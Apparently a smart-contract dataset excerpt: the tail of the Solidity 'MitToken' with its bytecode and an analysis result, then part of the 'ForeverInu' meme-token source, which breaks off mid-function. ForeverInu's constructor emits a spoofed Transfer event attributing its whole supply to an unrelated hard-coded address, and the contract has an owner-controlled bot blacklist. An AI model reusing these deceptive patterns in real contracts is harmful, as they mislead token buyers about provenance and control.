function transfer(address _to, uint _value) public returns (bool) {
address _from = msg.sender;
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(_from, _to, _value);
return true;
}
function transferFrom(address _from,address _to, uint _value) public returns (bool) {
//require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
}
contract PreviligedToken is Owned {
using SafeMath for uint;
mapping (address => uint) previligedBalances;
mapping (address => mapping (address => uint)) previligedallowed;
event PreviligedLock(address indexed from, address indexed to, uint value);
event PreviligedUnLock(address indexed from, address indexed to, uint value);
event Previligedallowed(address indexed _owner, address indexed _spender, uint _value);
function previligedBalanceOf(address _owner) public view returns (uint balance) {
return previligedBalances[_owner];
}
function previligedApprove(address _owner, address _spender, uint _value) onlyOwner public returns (bool success) {
// To change the approve amount you first have to reduce the addresses`
// allowed to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
if ((_value != 0) && (previligedallowed[_owner][_spender] != 0)) {
revert();
}
previligedallowed[_owner][_spender] = _value;
Previligedallowed(_owner, _spender, _value);
return true;
}
function getPreviligedallowed(address _owner, address _spender) public view returns (uint remaining) {
return previligedallowed[_owner][_spender];
}
function previligedAddApproval(address _owner, address _spender, uint _addedValue) onlyOwner public returns (bool) {
previligedallowed[_owner][_spender] = previligedallowed[_owner][_spender].add(_addedValue);
Previligedallowed(_owner, _spender, previligedallowed[_owner][_spender]);
return true;
}
function previligedSubApproval(address _owner, address _spender, uint _subtractedValue) onlyOwner public returns (bool) {
uint oldValue = previligedallowed[_owner][_spender];
if (_subtractedValue > oldValue) {
previligedallowed[_owner][_spender] = 0;
} else {
previligedallowed[_owner][_spender] = oldValue.sub(_subtractedValue);
}
Previligedallowed(_owner, _spender, previligedallowed[_owner][_spender]);
return true;
}
}
contract MitToken is StanderdToken, PreviligedToken {
using SafeMath for uint;
event Burned(address burner, uint burnedAmount);
function MitToken() public {
uint initialSupply = 6000000000;
decimals = 18;
_totalSupply = initialSupply * 10 ** uint(decimals); // Update total supply with the decimal amount
balances[msg.sender] = _totalSupply; // Give the creator all initial tokens
name = "MitCoin"; // Set the name for display purposes
symbol = "MITC"; // Set the symbol for display purposes3
}
/**
* @dev Function to mint tokens
* @notice Create `mintedAmount` tokens and send it to `_target`
* @param _target The address that will receive the minted tokens.
* @param _mintedAmount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mintToken(address _target, uint _mintedAmount) onlyOwner public {
balances[_target] = balances[_target].add(_mintedAmount);
_totalSupply = _totalSupply.add(_mintedAmount);
Transfer(address(0), _target, _mintedAmount);
}
function burn(uint _amount) onlyOwner public {
address burner = msg.sender;
balances[burner] = balances[burner].sub(_amount);
_totalSupply = _totalSupply.sub(_amount);
Burned(burner, _amount);
}
function previligedLock(address _to, uint _value) onlyOwner public returns (bool) {
address _from = msg.sender;
balances[_from] = balances[_from].sub(_value);
//balances[_to] = balances[_to].add(_value);
previligedBalances[_to] = previligedBalances[_to].add(_value);
PreviligedLock(_from, _to, _value);
return true;
}
function previligedUnLock(address _from, uint _value) public returns (bool) {
address to = msg.sender; // we force the address_to to be the the caller
require(to != address(0));
require(_value <= previligedBalances[_from]);
require(_value <= previligedallowed[_from][msg.sender]);
previligedBalances[_from] = previligedBalances[_from].sub(_value);
balances[to] = balances[to].add(_value);
previligedallowed[_from][msg.sender] = previligedallowed[_from][msg.sender].sub(_value);
PreviligedUnLock(_from, to, _value);
return true;
}
} | 0x60806040526004361061013e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610143578063095ea7b3146101d3578063175892b41461023857806318160ddd146102bd5780631d570166146102e857806323b872dd1461036d578063313ce567146103f2578063344e23cf146104235780633eaaf86b1461047a57806342966c68146104a557806346a06ddb146104d257806370a082311461054957806379c65068146105a05780638da5cb5b146105ed57806395d89b4114610644578063a1afaa19146106d4578063a9059cbb14610739578063ac3cb72c1461079e578063aeb2673314610803578063c0ee0b8a14610888578063dd62ed3e1461091b578063e2301d0214610992578063f2fde38b146109f7578063fd41477f14610a3a575b600080fd5b34801561014f57600080fd5b50610158610a9f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561019857808201518184015260208101905061017d565b50505050905090810190601f1680156101c55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101df57600080fd5b5061021e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b3d565b604051808215151515815260200191505060405180910390f35b34801561024457600080fd5b506102a3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cc6565b604051808215151515815260200191505060405180910390f35b3480156102c957600080fd5b506102d2610fb4565b6040518082815260200191505060405180910390f35b3480156102f457600080fd5b50610353600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fbd565b604051808215151515815260200191505060405180910390f35b34801561037957600080fd5b506103d8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611216565b604051808215151515815260200191505060405180910390f35b3480156103fe57600080fd5b5061040761159a565b604051808260ff1660ff16815260200191505060405180910390f35b34801561042f57600080fd5b50610464600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115ad565b6040518082815260200191505060405180910390f35b34801561048657600080fd5b5061048f6115f6565b6040518082815260200191505060405180910390f35b3480156104b157600080fd5b506104d0600480360381019080803590602001909291905050506115fc565b005b3480156104de57600080fd5b50610533600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061177c565b6040518082815260200191505060405180910390f35b34801561055557600080fd5b5061058a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611803565b6040518082815260200191505060405180910390f35b3480156105ac57600080fd5b506105eb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061184c565b005b3480156105f957600080fd5b506106026119c2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561065057600080fd5b506106596119e8565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561069957808201518184015260208101905061067e565b50505050905090810190601f1680156106c65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156106e057600080fd5b5061071f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611a86565b604051808215151515815260200191505060405180910390f35b34801561074557600080fd5b50610784600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611e4a565b604051808215151515815260200191505060405180910390f35b3480156107aa57600080fd5b506107e9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611fea565b604051808215151515815260200191505060405180910390f35b34801561080f57600080fd5b5061086e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506121e6565b604051808215151515815260200191505060405180910390f35b34801561089457600080fd5b50610919600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506123cd565b005b34801561092757600080fd5b5061097c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506124aa565b6040518082815260200191505060405180910390f35b34801561099e57600080fd5b506109dd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612531565b604051808215151515815260200191505060405180910390f35b348015610a0357600080fd5b50610a38600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506127c2565b005b348015610a4657600080fd5b50610a85600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612862565b604051808215151515815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b355780601f10610b0a57610100808354040283529160200191610b35565b820191906000526020600020905b815481529060010190602001808311610b1857829003601f168201915b505050505081565b6000808214158015610bcc57506000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b15610bd657600080fd5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600080600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d2557600080fd5b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610e33576000600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ec7565b610e468382612a5e90919063ffffffff16565b600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f3fbf36273a67dec202383eb8c34d066ff97e43ef0178125b8e889c82c9725a9a600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a360019150509392505050565b60008054905090565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561101b57600080fd5b6110aa82600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a7790919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f3fbf36273a67dec202383eb8c34d066ff97e43ef0178125b8e889c82c9725a9a600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600190509392505050565b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561126657600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156112f157600080fd5b61134382600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a5e90919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113d882600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a7790919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114aa82600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a5e90919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60005481565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561165a57600080fd5b3390506116af82600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a5e90919063ffffffff16565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061170782600054612a5e90919063ffffffff16565b6000819055507f696de425f79f4a40bc6d2122ca50507f0efbeabbff86a84871b7196ab8ea8df78183604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118a857600080fd5b6118fa81600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a7790919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061195281600054612a7790919063ffffffff16565b6000819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611a7e5780601f10611a5357610100808354040283529160200191611a7e565b820191906000526020600020905b815481529060010190602001808311611a6157829003601f168201915b505050505081565b600080339050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611ac857600080fd5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515611b1657600080fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515611ba157600080fd5b611bf383600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a5e90919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c8883600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a7790919063ffffffff16565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d5a83600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a5e90919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f9f6102d74bab5138e5a2b1792fb6b460c548c7595690c79d98d6fa4aa49feea6856040518082815260200191505060405180910390a3600191505092915050565b600080339050611ea283600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a5e90919063ffffffff16565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f3783600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a7790919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b600061207b82600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a7790919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561224457600080fd5b600082141580156122d257506000600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b156122dc57600080fd5b81600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f3fbf36273a67dec202383eb8c34d066ff97e43ef0178125b8e889c82c9725a9a846040518082815260200191505060405180910390a3600190509392505050565b7f0d2bfcd1c7137fbfa3e51f4f51e8fb5bf1140e2dc6820d62698ea1366787f0f0838383604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561246957808201518184015260208101905061244e565b50505050905090810190601f1680156124965780820380516001836020036101000a031916815260200191505b5094505050505060405180910390a1505050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115612642576000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126d6565b6126558382612a5e90919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561281e57600080fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156128c157600080fd5b33905061291683600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a5e90919063ffffffff16565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506129ab83600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a7790919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fac59eaf90174357a89336541c4625b980c8bfd51646742098e61f207b8c86760856040518082815260200191505060405180910390a3600191505092915050565b6000612a6c83831115612a95565b818303905092915050565b6000808284019050612a8b84821015612a95565b8091505092915050565b801515612aa157600080fd5b505600a165627a7a723058208d5f1319109d5fa4e0b3fa419d5fe21a83ee74f027153e9dfc3ccb0ea1a6e78c0029 | {"success": true, "error": null, "results": {}} | 370 |
0x3fd51954382a96f1596d153db0bc73f8668bca83 | /**
*Submitted for verification at Etherscan.io on 2021-06-21
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-1
*/
/*
t.me/foreverinu
Forever Inu
$FOREVERINU
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ForeverInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "ForeverInu";
string private constant _symbol = "ForeverInu";
uint8 private constant _decimals = 9;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable addr1, address payable addr2) {
_FeeAddress = addr1;
_marketingWalletAddress = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_FeeAddress] = true;
_isExcludedFromFee[_marketingWalletAddress] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 5;
_teamFee = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
